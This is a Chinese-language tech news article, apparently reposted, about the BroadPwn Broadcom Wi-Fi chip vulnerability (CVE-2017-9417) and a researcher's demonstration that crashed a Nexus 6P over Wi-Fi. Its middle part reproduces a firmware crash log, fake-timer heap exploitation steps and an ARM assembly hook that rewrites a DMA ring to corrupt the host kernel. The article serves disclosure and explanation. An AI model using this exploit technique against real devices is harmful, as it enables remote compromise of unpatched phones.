3C科技 娛樂遊戲 美食旅遊 時尚美妝 親子育兒 生活休閒 金融理財 健康運動 寰宇綜合

Zi 字媒體

2017-07-25T20:27:27+00:00
加入好友
谷歌最近發布了針對Android設備的每月安全公告,其中涉及了到了博通Wi-Fi晶元的嚴重漏洞,足以影響到數百萬台Android設備。這個遠程代碼執行漏洞被稱為BroadPwn,存在於博通旗下的BCM43xx Wi-Fi晶元組中。這個漏洞不需要用戶交互就可以遠程激活,允許黑客利用核心許可權遠程攻擊Android設備,執行惡意代碼。近日,一名昵稱為ZHUO WEI的技術人員在其博客上發布了一篇文章,講述他如何利用Nitay Artenstein發現的Broadpwn 漏洞(CVE-2017-9417),通過Wi-Fi使安卓手機崩潰。Nitay Artenstein如果你的手機連接了不安全的無線網路,黑客可以利用Broadpwn漏洞控制你的Wi-Fi晶元,繼而使用DMA攻擊控制整個手機。為了驗證可行性,ZHUO WEI製作了一個惡意網路,利用漏洞使一部Nexus 6P的內存崩潰,導致手機重啟。ZHUO WEI之前利用漏洞造成內存堆的越界寫操作,導致Wi-Fi晶元在讀取無效地址時崩潰。[ 695.399412] CONSOLE: FWID 01-a2412ac4[ 695.399420] CONSOLE: flags 60040005[ 695.399425] CONSOLE: 000003.645[ 695.399430] CONSOLE: TRAP 4(23fc30): pc 5550c, lr 2f697, sp 23fc88, cpsr 2000019f, spsr 200001bf[ 695.399435] CONSOLE: 000003.645 dfsr 1, dfar 41414145[ 695.399441] CONSOLE: 000003.645 r0 41414141, r1 2, r2 1, r3 0, r4 22cc00, r5 217634, r6 217048[ 695.399449] CONSOLE: 000003.645 r7 2, r8 56, r9 1, r10 216120, r11 217224, r12 8848cb89[ 695.399455] CONSOLE: 000003.645[ 695.399460] CONSOLE: sp+0 00000002 0022cc00 0022d974 00217634[ 695.399465] CONSOLE: 000003.645 sp+10 00000004 0001aa83 0022d97f 00000168[ 695.399471] CONSOLE:[ 695.399476] CONSOLE: 000003.645 sp+14 0001aa83[ 695.399481] CONSOLE: 000003.645 sp+38 000937eb[ 695.399486] CONSOLE: 000003.645 sp+44 00003b15[ 695.399492] CONSOLE: 000003.645 sp+4c 00088659[ 695.399497] CONSOLE: 000003.645 sp+64 00008fc7[ 695.399502] CONSOLE: 000003.645 sp+74 0000379b[ 695.399507] CONSOLE: 000003.645 sp+94 00000a29[ 695.399512] CONSOLE: 000003.645 sp+c4 0019a9e1[ 695.399517] CONSOLE: 000003.645 sp+e4 00006a4d[ 695.399523] CONSOLE: 000003.645 sp+11c 00188113[ 695.399528] CONSOLE: 000003.645 sp+15c 000852ef[ 695.399533] CONSOLE: 000003.645 sp+180 00019735[ 695.399538] CONSOLE: 000003.645 sp+194 0001ec73[ 695.399543] CONSOLE: 000003.645 sp+1bc 00018ba5[ 695.399549] CONSOLE: 000003.645 sp+1dc 00018a75[ 695.399554] CONSOLE: 000003.645 sp+1fc 0000656b首先要要搞清楚的是,我們在覆蓋什麼。堆分配是以8位元組開始的: 包含分配大小的uint32_t和一個指針。連接到使用QoS的普通Wi-F網路,然後用dhdutil轉儲了Wi-Fi晶元的內存。接下里,使用一個堆可視化腳本來檢查整個堆,查找以0050f202開頭的分配(WME信息元素的開頭)。有兩個分配是從這個位元組開始:在0x1f3550和0x21700c的塊。兩個分配後面都帶著另一個大小為0x78位元組的塊(在0x1f3584和0x217040)。觀察崩潰記錄中的堆棧,我們可以發現r6=0x217048和第二個分配的開頭是相匹配的。所以溢出的地址應該是第二個。接下來要覆蓋什麼呢?現在只知道下一個塊的大小(0x78)和內容(幾個指針,但是沒有函數指針)。順著調用堆棧看上去,我們可以發現一個帶有函數名的printf調用的函數。看上去是覆蓋了一個指向計時器的指針,而且在禁用它的時候導致硬體崩潰。啟用時,這個類型的定時器會放置在單個鏈表中。一個計時器看起來是這樣的:typedef struct wlc_hrt_to { wlc_hrt_to_t *next; // 0x0 list_head *hrti; // 0x4 uint32_t timeout; // 0x8 void *func; // 0xc} wlc_hrt_to_t;所以禁用一個計時器的時,wlc_hrt_del_timeout會執行以下操作:然後再錯誤調用超時添加功能,將這裡變成一個寫操作。製作一個假的定時器對象將指針指向列表頭的假鏈接頭這個假鏈接頭指向假計時器對象將這個假定時器對象上的下一個指針設置為指向要覆蓋的代碼將這個假對象的剩餘時間設置為我們要覆蓋的地址的當前值將定時器的功能指針與鏈接表頭的下一個指針重疊決定將第一條指令改成dma64_txfast跳轉到溢出緩衝區的分支指令,允許通過dma方式對任意內存進行寫入和讀取。將覆蓋結構中的其他指針設置為null,以防止固件嘗試訪問它們時出現崩潰用0x41填充溢出結構的前端,使硬體禁用假的定時器確保硬體不會覆蓋我們的有效載荷然後就可以執行代碼了。崩潰主CPU主要方法是用手機通過PCI Express連接Wi-Fi晶元組,允許任何內存寫入和通過DMA讀取。使用Project Zero的DMA攻擊代碼,將D2H_MSGRING_TX_COMPLETE環的ringaddr為指向內核,然後利用dump_pci.py腳本轉儲了環形結構的地址,在主CPU的物理內存中編寫了一個將目標地址修補為0x248488的鉤子,並且修補了WME IE錯誤。.syntax unified.thumbhook_entry: // 0x90push {r0-r3,r4-r9,lr} // 0x217090bl fullhook // 0x217094pop {r0-r3} // 0x217098.word 0xbaf9f774 // 0x21709a: branch to original txfastfullhook:ldr r3, patchoutaddr // 0x21709eldr r2, patchaddr // 0x2170a0str r2, [r3] // 0x2180a2ldr r2, ringaddr // 0x2180a4ldr r3, valuewritten // 0x2180a6str r3, [r2] // 0x2180a8bx lr // 0x2180aavaluewritten:.word 0x00248488 // 0x2180ac physical address on the host side; seems to crash things...patchoutaddr:.word 0x1b8ad0 // 0x2180b0 function to patchpatchaddr:.word 0x47702000 // 0x2180b4 mov r0, #0; bx lr note firmware overwrites byte 0 with a 0; it's fineringaddr:.word 0x002397C4 // 0x2180b8 ringaddr of D2H_MSGRING_TX_COMPLETE dumped with Project Zero's dump_pci.py下一次調用dma64_txfast時,代碼將修補DMA環,並且待處理的下一個Wi-Fi數據包將覆蓋主CPU內核的一部分,從而使其崩潰。官方措施谷歌在其七月份的Android安全公告中指出,這個漏洞最嚴重的地方在於,它允許黑客在非特權進程中執行任意代碼,而且這個操作是可以遠程進行的。由於Nitay Artenstein會在 Black Hat 2017上展示他的發現,所以目前還沒有更多關於BroadPwn漏洞的細節。谷歌已經針對Pixel 和 Nexus 的設備進行了無線網路更新和硬體優化,但是其他Android設備還要繼續等待手機廠商的消息。這也使得數百萬台Android設備還要繼續在漏洞中暴露好幾個月。

本文由yidianzixun提供 原文連結

寫了 5860316篇文章,獲得 23313次喜歡
精彩推薦